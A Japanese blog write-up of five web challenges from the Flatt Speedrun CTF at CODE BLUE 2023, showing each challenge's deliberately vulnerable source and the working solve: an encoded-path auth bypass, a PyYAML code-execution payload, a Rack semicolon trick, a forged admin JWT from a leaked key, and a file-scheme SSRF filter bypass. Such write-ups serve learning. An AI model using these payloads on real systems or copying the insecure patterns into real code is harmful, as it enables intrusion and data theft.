CODE BLUE 2023内で開催されたFlatt Speedrun CTFに参加してきました。 結果は沼をジャブジャブ進みながら2時間20分くらいで5問完答しました。

deny

import os

from flask import Flask


class ForbidAdminMiddleware:
    def __init__(self, app):
        self.app = app

    def __call__(self, environ, start_response):
        request_uri = environ['REQUEST_URI']
        if request_uri.startswith('/admin'):
            start_response('403 Forbidden', [])
            return [request_uri.encode()]
        return self.app(environ, start_response)


app = Flask(__name__)
app.wsgi_app = ForbidAdminMiddleware(app.wsgi_app)


@app.route("/")
def index():
    return 'Welcome to Speedrun CTF!'


@app.route("/admin/flag")
def flag():
    return os.environ.get('FLAG', '')

/admin から始まるパスは弾くようなミドルウェアが入っている。

こういうのは記憶にない限りは頑張らないといけないので、いろいろやってたら/%2Fadmin/flagでフラグが出た。

flag{why_dont_you_use_PATH_INFO}

gadget

import ast
import base64
import pickle

import yaml
from fastapi import FastAPI
from jinja2 import Template
from pydantic import BaseModel


class Input(BaseModel):
    input: str | None = None
    base64_input: str | None = None


app = FastAPI()


@app.get('/')
def index():
    return 'Choose your own function!'


@app.post('/eval')
def api_eval(input: Input):
    return {'output': repr(ast.literal_eval(input.input))}


@app.post('/jinja2')
def api_jinja2(input: Input):
    return {'output': Template(input.input).render()}


@app.post('/pickle')
def api_pickle(input: Input):
    return {'output': repr(pickle.loads(base64.b64decode(input.base64_input)))}


@app.post('/yaml')
def api_yaml(input: Input):
    return {'output': repr(yaml.load(input.input, Loader=yaml.Loader))}

デシリアライズするから好きなデータを投げろという問題。 literal_eval 以外どれも行けそうな気がしたけど、なんだかんだjinja2→pickle→yamlの順に触って時間を溶かしてしまった。

yamlでコード実行できるの知りませんでした。

!!python/object/apply:os.getenv
- 'FLAG'

flag{literal_eval_is_unexploitable_isnt_it?}

gem

require 'sinatra'

get '/' do
  p params
  if params == {}
    'Hello'
  elsif params[:a] != '1'
    status 400
    'Nope1'
  elsif params[:b] != ['2']
    status 401
    'Nope2'
  elsif params[:c] != [{'d' => '3', 'e' => nil}]
    status 402
    'Nope3'
  elsif request.query_string.include? '&'
    # what was parse_nested_query?
    status 403
    'Nope4'
  else
    ENV['FLAG']
  end
end

Rubyで「ウワー」って言いながら解いた。

偶然この記事に辿り着いて区切り文字にセミコロンが使えそうなのに気づいてなんとかなった。

?a=1;b[]=2;c[][d]=3;c[][e] でアクセスすればOK

flag{this_behavior_is_useful_btw}

arrow

  final router = Router()
    ..post('/api/login', (Request request) async {
      String? username;
      try {
        final body = jsonDecode(await request.readAsString());
        username = body['username'];
      } catch (e) {
        return json({}, status: 400);
      }

      if (username == 'admin') {
        return json({}, status: 403);
      }

      final loginToken = LoginToken(token: signJWT(username));
      return json(loginToken.toJson());
    })
    ..get('/api/flag', (Request request) {
      final authorization = request.headers['Authorization'];
      final token = authorization?.replaceFirst('Bearer ', '');
      final jwt = verifyJWT(token);
      if (jwt == null) {
        return json({}, status: 401);
      }

      if (jwt.subject != 'admin') {
        return json({}, status: 403);
      }

      return json(Flag(flag: Platform.environment['FLAG']).toJson());
    });

JWTトークンで認証するだけのDartサーバーの一式が配布される。 競技中はビルドが回らなかったので検証に苦労したり、真面目にJWTバイパスを考えたりしていて1時間が経過してしまった。

結論としては、Dartの特徴?らしいサーバーサイドとクライアントサイドでライブラリを共有できる部分が問題だった。 Secretキーが共有しているライブラリに含まれているせいで、ブラウザから見られるmain.dart.jsから読み出せる。

あとは適当にトークンを生成して終わり。

import jwt
key = 'eccf539166d55142bb491b2ff45a14e47724ad1a60080b06f105951312d101f2'
token = jwt.encode({'sub': 'admin'}, key, algorithm='HS256')
print(token)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.jaOw-CxedEi6QQwUYK4B1awGpCTlf_B1qHvxHRE56yo

flag{dont_confuse_frontend_and_backend}

bread

const port = process.env.PORT || 3000;

if (process.env.FLAG) {
  Bun.write("/flag", process.env.FLAG);
}

const server = Bun.serve({
  port,
  async fetch(req) {
    const url = new URL(req.url);
    if (url.pathname === "/") {
      return new Response("Welcome to Bun!");
    } else if (url.pathname === "/zzz") {
      return new Response("sleeping...");
    } else if (url.pathname === "/flag") {
      return new Response("read /flag!");
    } else if (req.method === "POST" && url.pathname === "/fetch") {
      const fetchUrl = url.searchParams.get("url") || "";

      if ([...fetchUrl].some((c) => [..."flatt"].includes(c))) {
        return new Response("Nope", { status: 400 });
      }

      // by the way, where is the implementation of fetch: https://github.com/oven-sh/bun
      const res = await fetch(new URL(fetchUrl, `http://localhost:${port}/`));
      return new Response((await res.blob()).stream());
    }

    return new Response("Not found", { status: 404 });
  },
});

ファイルシステム上の/flagを読む問題。 謎のコメントが書いてあるからとBunのソースコードを読みに行ったのに全然関係なかった。

URLはたとえbaseが指定されていても、file:///とかをpathに指定するとbaseを無視してURLが生成されるらしい。 あとはフィルタバイパスをすればいい。

URLスキームの方は大文字小文字が区別されないので大文字化、パス部分は区別してしまうのでパーセントエンコーディングをする。

url=FILE:///%66%6c%61%67

flag{file_scheme_isnt_implemented_in_nodejs}

結果

result

ひどい。

問題は面白かったしSpeedrunっぽいテーマでもあったのでちゃんと記録を作りたかったですね。 Flattさん開催ありがとうございました。 問題はGitHubで公開されているそうなので、この記事を見て手を動かしてみたくなった人は是非チャレンジしてみてください。